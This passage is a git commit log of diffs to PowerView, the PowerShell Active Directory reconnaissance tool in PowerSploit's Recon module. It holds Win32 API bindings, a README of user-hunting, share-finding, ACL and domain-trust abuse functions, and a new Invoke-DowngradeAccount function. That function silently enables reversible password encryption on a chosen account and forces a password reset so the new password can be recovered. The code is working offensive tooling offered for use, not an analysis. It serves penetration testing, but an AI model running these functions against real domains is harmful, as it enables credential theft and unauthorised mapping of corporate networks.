$DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust + } + } + } + catch { + Write-Warning "[!] Error: $_" + } + } + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func kernel32 GetLastError ([Int]) @()) +) + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ + shi1_netname = field 0 String -MarshalAs @('LPWStr') + shi1_type = field 1 UInt32 + shi1_remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ + wkui1_username = field 0 String -MarshalAs @('LPWStr') + wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') + wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') + wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ + sesi10_cname = field 0 String -MarshalAs @('LPWStr') + sesi10_username = field 1 String -MarshalAs @('LPWStr') + sesi10_time = field 2 UInt32 + sesi10_idle_time = field 3 UInt32 +} + + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Kernel32 = $Types['kernel32'] +$Wtsapi32 = $Types['wtsapi32'] diff --git a/Recon/README.md b/Recon/README.md new file mode 100644 index 0000000..d992798 --- /dev/null +++ b/Recon/README.md @@ -0,0 +1,127 @@ +To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Recon` + +To see the commands imported, type `Get-Command -Module Recon` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + + +## PowerView + +PowerView is a PowerShell tool to gain network situational awareness on +Windows domains. It contains a set of pure-PowerShell replacements for various +windows "net *" commands, which utilize PowerShell AD hooks and underlying +Win32 API functions to perform useful Windows domain functionality. + +It also implements various useful metafunctions, including some custom-written +user-hunting functions which will identify where on the network specific users +are logged into. It can also check which machines on the domain the current +user has local administrator access on. Several functions for the enumeration +and abuse of domain trusts also exist. See function descriptions for appropriate +usage and available options. For detailed output of underlying functionality, pass +the -Verbose or -Debug flags. + +For functions that enumerate multiple machines, pass the -Verbose flag to get a +progress status as each host is enumerated. Most of the "meta" functions accept +an array of hosts from the pipeline. + + +### Misc Functions: + Export-PowerViewCSV - thread-safe CSV append + Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit) + Copy-ClonedFile - copies a local file to a remote location, matching MAC properties + Get-IPAddress - resolves a hostname to an IP + Test-Server - tests connectivity to a specified server + Convert-NameToSid - converts a given user/group name to a security identifier (SID) + Convert-SidToName - converts a security identifier (SID) to a group/user name + Convert-NT4toCanonical - converts a user/group NT4 name (i.e. dev/john) to canonical format + Get-Proxy - enumerates local proxy settings + Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion + Get-UserProperty - returns all properties specified for users, or a set of user:prop names + Get-ComputerProperty - returns all properties specified for computers, or a set of computer:prop names + Find-InterestingFile - search a local or remote path for files with specific terms in the name + Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access to a specified host + Get-DomainSearcher - builds a proper ADSI searcher object for a given domain + Get-ObjectAcl - returns the ACLs associated with a specific active directory object + Add-ObjectAcl - adds an ACL to a specified active directory object + Get-LastLoggedOn - return the last logged on user for a target host + Get-CachedRDPConnection - queries all saved RDP connection entries on a target host + Invoke-ACLScanner - enumerate -1000+ modifable ACLs on a specified domain + Get-GUIDMap - returns a hash table of current GUIDs -> display names + Get-DomainSID - return the SID for the specified domain + Invoke-ThreadedFunction - helper that wraps threaded invocation for other functions + + +### net * Functions: + Get-NetDomain - gets the name of the current user's domain + Get-NetForest - gets the forest associated with the current user's domain + Get-NetForestDomain - gets all domains for the current forest + Get-NetDomainController - gets the domain controllers for the current computer's domain + Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) + Add-NetUser - adds a local or domain user + Get-NetComputer - gets a list of all current servers in the domain + Get-NetPrinter - gets an array of all current computers objects in a domain + Get-NetOU - gets data for domain organization units + Get-NetSite - gets current sites in a domain + Get-NetSubnet - gets registered subnets for a domain + Get-NetGroup - gets a list of all current groups in a domain + Get-NetGroupMember - gets a list of all current users in a specified domain group + Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts + Add-NetGroupUser - adds a local or domain user to a local or domain group + Get-NetFileServer - get a list of file servers used by current domain users + Get-DFSshare - gets a list of all distribute file system shares on a domain + Get-NetShare - gets share information for a specified server + Get-NetLoggedon - gets users actively logged onto a specified server + Get-NetSession - gets active sessions on a specified server + Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta) + Get-NetProcess - gets the remote processes and owners on a remote server + Get-UserEvent - returns logon or TGT events from the event log for a specified host + Get-ADObject - takes a domain SID and returns the user, group, or computer + object associated with it + Set-ADObject - takes a SID, name, or SamAccountName to query for a specified + domain object, and then sets a specified 'PropertyName' to a + specified 'PropertyValue' + + +### GPO functions + Get-GptTmpl - parses a GptTmpl.inf to a custom object + Get-NetGPO - gets all current GPOs for a given domain + Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups" + on on target machines + Find-GPOLocation - takes a user/group and makes machines they have effective + rights over through GPO enumeration and correlation + Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it + through GPO enumeration + Get-DomainPolicy - returns the default domain or DC policy + + +### User-Hunting Functions: + Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines + Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users + Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines + Invoke-UserEventHunter - hunts for user logon events in domain controller event logs + + +### Domain Trust Functions: + Get-NetDomainTrust - gets all trusts for the current user's domain + Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain + Find-ForeignUser - enumerates users who are in groups outside of their principal domain + Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain + Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts + + +### MetaFunctions: + Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain + Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain + Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to + Find-UserField - searches a user field for a particular term + Find-ComputerField - searches a computer field for a particular term + Get-ExploitableSystem - finds systems likely vulnerable to common exploits + Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain + diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index f30ff2e..5a4cfbe 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -10,7 +10,7 @@ ModuleVersion = '1.0.0.0' GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' # Author of this module -Author = 'Matthew Graeber' +Author = 'Matthew Graeber', 'Will Schroeder' # Company or vendor of this module CompanyName = '' @@ -58,7 +58,72 @@ PowerShellVersion = '2.0' # NestedModules = @() # Functions to export from this module -FunctionsToExport = '*' +FunctionsToExport = @( + 'Get-ComputerDetails', + 'Get-HttpStatus', + 'Invoke-Portscan', + 'Invoke-ReverseDnsLookup', + 'Set-MacAttribute', + 'Copy-ClonedFile', + 'Convert-NameToSid', + 'Convert-SidToName', + 'Convert-NT4toCanonical', + 'Get-Proxy', + 'Get-PathAcl', + 'Get-NetDomain', + 'Get-NetForest', + 'Get-NetForestDomain', + 'Get-NetForestCatalog', + 'Get-NetDomainController', + 'Get-NetUser', + 'Add-NetUser', + 'Get-UserProperty', + 'Find-UserField', + 'Get-UserEvent', + 'Get-ObjectAcl', + 'Add-ObjectAcl', + 'Invoke-ACLScanner', + 'Get-NetComputer', + 'Get-ADObject', + 'Set-ADObject', + 'Get-ComputerProperty', + 'Find-ComputerField', + 'Get-NetOU', + 'Get-NetSite', + 'Get-NetSubnet', + 'Get-NetGroup', + 'Get-NetGroupMember', + 'Get-NetFileServer', + 'Get-DFSshare', + 'Get-NetGPO', + 'Get-NetGPOGroup', + 'Find-GPOLocation', + 'Find-GPOComputerAdmin', + 'Get-DomainPolicy', + 'Get-NetLocalGroup', + 'Get-NetShare', + 'Get-NetLoggedon', + 'Get-NetSession', + 'Get-NetRDPSession', + 'Invoke-CheckLocalAdminAccess', + 'Get-LastLoggedOn', + 'Get-CachedRDPConnection', + 'Get-NetProcess', + 'Find-InterestingFile', + 'Invoke-UserHunter', + 'Invoke-ProcessHunter', + 'Invoke-EventHunter', + 'Invoke-ShareFinder', + 'Invoke-FileFinder', + 'Find-LocalAdminAccess', + 'Get-ExploitableSystem', + 'Invoke-EnumerateLocalAdmin', + 'Get-NetDomainTrust', + 'Get-NetForestTrust', + 'Find-ForeignUser', + 'Find-ForeignGroup', + 'Invoke-MapDomainTrust' +) # Cmdlets to export from this module CmdletsToExport = '*' @@ -73,8 +138,8 @@ AliasesToExport = '' ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) # List of all files packaged with this module -FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', - 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'Usage.md' +FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', + 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Recon/Usage.md b/Recon/Usage.md deleted file mode 100644 index 9bfe35e..0000000 --- a/Recon/Usage.md +++ /dev/null @@ -1,12 +0,0 @@ -To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module Recon` - -To see the commands imported, type `Get-Command -Module Recon` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file -- cgit v1.2.3 From a0b95c36b4a3ce0a172fcf98426601f2faa18d64 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Dec 2015 10:21:39 -0500 Subject: Domain local group query fix. Added ConvertFrom-UACValue to convert binary UAC values to human readable format. Corrected logic in Set-ADObject. --- Recon/PowerView.ps1 | 170 ++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 140 insertions(+), 30 deletions(-) (limited to 'Recon') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 7c195e8..0745916 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1228,6 +1228,118 @@ function Convert-CanonicaltoNT4 { } +function ConvertFrom-UACValue { +<# + .SYNOPSIS + + Converts a UAC int value to human readable form. + + .PARAMETER Value + + The int UAC value to convert. + + .PARAMETER ShowAll + + Show all UAC values, with a + indicating the value is currently set. + + .EXAMPLE + + PS C:\> ConvertFrom-UACValue -Value 66176 + + Convert the UAC value 66176 to human readable format. + + .EXAMPLE + + PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue + + Convert the UAC value for 'jason' to human readable format. + + .EXAMPLE + + PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll + + Convert the UAC value for 'jason' to human readable format, showing all + possible UAC values. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + $Value, + + [Switch] + $ShowAll + ) + + begin { + + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + + } + + process { + + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if($Value -is [Int]) { + $IntValue = $Value + } + + if ($Value -is [PSCustomObject]) { + if($Value.useraccountcontrol) { + $IntValue = $Value.useraccountcontrol + } + } + + if($IntValue) { + + if($ShowAll) { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + } + + $ResultUACValues + } +} + + function Get-Proxy { <# .SYNOPSIS @@ -1379,7 +1491,7 @@ function Get-PathAcl { $Names = @() $SIDs = @($Object.objectsid) - if ($Recurse -and ($Object.samAccountType -eq "268435456")) { + if ($Recurse -and ($Object.samAccountType -ne "805306368")) { $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid } @@ -3531,6 +3643,12 @@ function Set-ADObject { PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 Set the countrycode for matt.admin to 0 + + .EXAMPLE + + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536 + + Set the password not to expire on matt.admin #> [CmdletBinding()] @@ -3582,32 +3700,24 @@ function Set-ADObject { # get the modifiable object for this search result $Entry = $RawObject.GetDirectoryEntry() - # if the property name doesn't already exist - if(!$Entry.$PropertyName) { - $Entry.put($PropertyName, $PropertyValue) - $Entry.setinfo() + if($ClearValue) { + Write-Verbose "Clearing value" + $Entry.$PropertyName.clear() + $Entry.commitchanges() } - else { - if($ClearValue) { - # remove the value fromt the entry - Write-Verbose "Clearing value" - $Entry.$PropertyName.clear() - } - else { - # resolve this property's type name so as can properly set it - $TypeName = $Entry.$PropertyName[0].GetType().name - - # if we're binary-or'ing the current value - if($PropertyXorValue) { - # UAC value references- https://support.microsoft.com/en-us/kb/305144 - $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue - } + elseif($PropertyXorValue) { + $TypeName = $Entry.$PropertyName[0].GetType().name - $Entry.$PropertyName = $PropertyValue -as $TypeName - } + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + $Entry.commitchanges() + } - $Entry.commitchanges() + else { + $Entry.put($PropertyName, $PropertyValue) + $Entry.setinfo() } } catch { @@ -4265,10 +4375,10 @@ function Get-NetGroup { } else { if ($SID) { - $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } else { - $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" } $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { @@ -4430,15 +4540,15 @@ function Get-NetGroupMember { } else { if ($GroupName) { - $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" } elseif ($SID) { - $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } else { # default to domain admins $SID = (Get-DomainSID -Domain $Domain) + "-512" - $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } $GroupSearcher.FindAll() | ForEach-Object { @@ -4510,7 +4620,7 @@ function Get-NetGroupMember { if($Properties) { - if($Properties.samaccounttype -match '268435456') { + if($Properties.samaccounttype -notmatch '805306368') { $IsGroup = $True } else { @@ -5736,7 +5846,7 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -match '268435456') + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') $GPOComputerAdmin # if we're recursing and the current result object is a group -- cgit v1.2.3 From a336562b700b462b507182be875a76919db58d88 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Dec 2015 14:58:07 -0500 Subject: Added Invoke-DowngradeAccount to set an account to use reversible encryption. --- Recon/PowerView.ps1 | 118 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 117 insertions(+), 1 deletion(-) (limited to 'Recon') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0745916..46285f4 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3618,6 +3618,10 @@ function Set-ADObject { Domain controller to reflect LDAP queries through. + .PARAMETER Filter + + Additional LDAP filter string for the query. + .PARAMETER PropertyName The property name to set. @@ -3628,7 +3632,7 @@ function Set-ADObject { .PARAMETER PropertyXorValue - Integer calue to binary xor (-bxor) with the current int value. + Integer value to binary xor (-bxor) with the current int value. .PARAMETER ClearValue @@ -3668,6 +3672,9 @@ function Set-ADObject { [String] $DomainController, + [String] + $Filter, + [Parameter(Mandatory = $True)] [String] $PropertyName, @@ -3691,6 +3698,7 @@ function Set-ADObject { 'SamAccountName' = $SamAccountName 'Domain' = $Domain 'DomainController' = $DomainController + 'Filter' = $Filter 'PageSize' = $PageSize } # splat the appropriate arguments to Get-ADObject @@ -3726,6 +3734,114 @@ function Set-ADObject { } +function Invoke-DowngradeAccount { +<# + .SYNOPSIS + + Set reversible encryption on a given account and then force the password + to be set on next user login. To repair use "-Repair". + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER Filter + + Additional LDAP filter string for the query. + + .PARAMETER Repair + + Switch. Unset the reversible encryption flag and force password reset flag. + + .EXAMPLE + + PS> Invoke-DowngradeAccount -SamAccountName jason + + Set reversible encryption on the 'jason' account and force the password to be changed. + + .EXAMPLE + + PS> Invoke-DowngradeAccount -SamAccountName jason -Repair + + Unset reversible encryption on the 'jason' account and remove the forced password change. +#> + + [CmdletBinding()] + Param ( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $Filter, + + [Switch] + $Repair + ) + + process { + $Arguments = @{ + 'SamAccountName' = $SamAccountName + 'Name' = $Name + 'Domain' = $Domain + 'DomainController' = $DomainController + 'Filter' = $Filter + } + + # splat the appropriate arguments to Get-ADObject + $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue + + if($Repair) { + + if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") { + # if reversible encryption is set, unset it + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 + } + + # unset the forced password change + Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1 + } + + else { + + if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") { + # if the password is set to never expire, unset + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536 + } + + if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") { + # if reversible encryption is not set, set it + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 + } + + # force the password to be changed on next login + Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0 + } + } +} + + function Get-ComputerProperty { <# .SYNOPSIS -- cgit v1.2.3 From 5690b09027b53a5932e42399f6943e03fa32e549 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 14 Dec 2015 19:01:10 -0500 Subject: Get-NetDomain now not called if -ComputerName or -ComputerFile are passed for meta functions, in order to prevent failure when running on a non-domain joined machine took out FQDN Pester tests from Recon.tests.ps1 that used $env:userdnsdomain --- Recon/PowerView.ps1 | 230 ++++++++++++++++++++++++++------------------------ Tests/Recon.tests.ps1 | 171 +++++++++++-------------------------- 2 files changed, 173 insertions(+), 228 deletions(-) (limited to 'Recon') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 46285f4..57a5789 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7914,32 +7914,33 @@ function Invoke-UserHunter { Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - ##################################################### # # First we build the host target set # ##################################################### + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { [Array]$ComputerName = @() - - if($ComputerFile) { - # if we're using a host list, read the targets in and add them to the target list - $ComputerName = Get-Content -Path $ComputerFile + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } } - elseif($Stealth) { + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + if($Stealth) { Write-Verbose "Stealth mode! Enumerating commonly used servers" Write-Verbose "Stealth source: $StealthSource" @@ -8020,7 +8021,12 @@ function Invoke-UserHunter { elseif($UserName) { Write-Verbose "[*] Using target user '$UserName'..." $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() $TargetUsers = @($User) } @@ -8028,7 +8034,12 @@ function Invoke-UserHunter { elseif($UserFile) { $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } $User | Add-Member Noteproperty 'MemberName' $_ $User } | Where-Object {$_} @@ -8507,37 +8518,37 @@ function Invoke-ProcessHunter { Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - ##################################################### # # First we build the host target set # ##################################################### + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + [array]$ComputerName = @() + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } } else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath - } + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { @@ -9178,7 +9189,13 @@ function Invoke-ShareFinder { $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") } + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() if($Domain) { $TargetDomains = @($Domain) @@ -9191,19 +9208,12 @@ function Invoke-ShareFinder { # use the local domain $TargetDomains = @( (Get-NetDomain).name ) } - - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath - } + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += 